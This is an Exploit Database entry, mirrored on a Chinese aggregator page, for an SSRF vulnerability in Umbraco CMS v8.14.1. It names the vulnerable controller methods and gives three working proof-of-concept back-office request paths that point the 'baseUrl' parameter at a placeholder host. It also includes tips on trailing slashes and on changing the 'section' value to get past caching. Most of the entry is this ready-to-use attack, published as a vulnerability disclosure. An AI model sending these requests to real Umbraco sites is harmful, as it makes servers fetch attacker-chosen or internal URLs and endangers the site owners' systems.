Umbraco v8.14.1 – ‘baseUrl’ SSRF

• Exploit Database
• 120 阅读

• 作者： NgoAnhDuc
  日期： 2021-10-29
• 类别：

  • webapps
  平台：

  • aspx
• 来源：https://www.exploit-db.com/exploits/50462/
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  # Exploit Title: Umbraco v8.14.1 - 'baseUrl' SSRF # Date: July 5, 2021 # Exploit Author: NgoAnhDuc # Vendor Homepage: https://our.umbraco.com/ # Software Link: https://our.umbraco.com/download/releases/8141 # Version: v8.14.1 # Affect: Umbraco CMS v8.14.1, Umbraco Cloud   Vulnerable code:   Umbraco.Web.Editors.HelpController.GetContextHelpForPage(): https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/HelpController.cs#L14 Umbraco.Web.Editors.DashboardController.GetRemoteDashboardContent(): https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L50 Umbraco.Web.Editors.DashboardController.GetRemoteDashboardCss(): https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L91   PoC:   /umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=https://SSRF-HOST.EXAMPLE /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl= https://SSRF-HOST.EXAMPLE/ /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=https://SSRF-HOST.EXAMPLE/   Notes: - There's no "/" suffix in payload 1 - "/" suffix is required in payload 2 and payload 3 - "section" parameter value must be changed each exploit attempt